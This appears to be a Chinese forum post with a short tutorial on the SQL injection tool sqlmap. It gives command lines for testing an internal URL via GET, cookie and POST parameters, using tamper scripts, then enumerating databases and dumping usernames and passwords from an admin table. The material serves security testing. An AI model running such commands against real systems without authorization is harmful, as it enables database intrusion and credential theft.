SQLMap(SQL注入检测工具)简单使用

论坛 期权论坛 脚本     
匿名技术用户   2020-12-23 12:13   46   0


1、clone sqlmap项目

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
chmod a+x sqlmap.py

# 使用帮助
./sqlmap.py sqlmap.py -h
./sqlmap.py -hh

2、使用

# 声明变量
INJECT_URL="http://10.0.209.147/microservice/standardquery/project/t_proj_type_showall"
INJECT_PARAMETERS="transjsonarray=1&xxx=1"
INJECT_URL_GET="${INJECT_URL}?${INJECT_PARAMETERS}"
-v 参数

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:

  • 0 只显示python错误以及严重的信息。
  • 1 同时显示基本信息和警告信息。(默认)
  • 2 同时显示debug信息。
  • 3 同时显示注入的payload。
  • 4 同时显示HTTP请求。
  • 5 同时显示HTTP响应头。
  • 6 同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

默认使用level 1检测全部数据库类型
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--threads 10 \
-o \
--batch \
-v 0
指定数据库类型为mysql,级别为3 (共5级,级别越高,检测越全面)
./sqlmap.py -u "${INJECT_URL_GET}"  \
--param-del="&" \
--flush-session \
--dbms mysql \
--level 3 \
-v 1 \
-o \
--batch \
--threads 10 
当程序有防get注入的时候,可以使用cookie注入 (只有level达到2才会检测cookie)
./sqlmap.py -u "${INJECT_URL}" \
--cookie "${INJECT_PARAMETERS}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--level 3 \
-v 1 \
-o \
--batch \
--threads 10 
当程序有防get注入的时候,可以使用post注入
./sqlmap.py -u "${INJECT_URL}" \
--data "${INJECT_PARAMETERS}" \
--param-del="&" \
--flush-session \
--dbms mysql \
--level 3 \
-v 1 \
-o \
--batch \
--threads 10 \
--tamper tomyjson.py 

如果注入点使用了"加密",则可以使用 --tamper 指定"插件名称", 例如: charencode.py , base64encode.py 等, 对payload进行处理(这里的payload好像是指整个url字符串,而且不知道post方式如何使用)

./sqlmap.py -u "${INJECT_URL}" --tamper base64encode.py 

2.1 注入成功后 获取数据库基本信息

查询有哪些数据库
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
--dbs
查询test数据库中有哪些表
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
-D test --tables
查询test数据库中admin表有哪些字段
./sqlmap.py -u "${INJECT_URL_GET}" \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
-D test -T admin --columns
dump出字段username与password中的数据
./sqlmap.py -u "${INJECT_URL_GET}"  \
--param-del="&" \
--dbms mysql \
--level 3 \
--batch \
--threads 10 \
-D test -T admin -C "username,password" --dump
分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:7942463
帖子:1588486
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP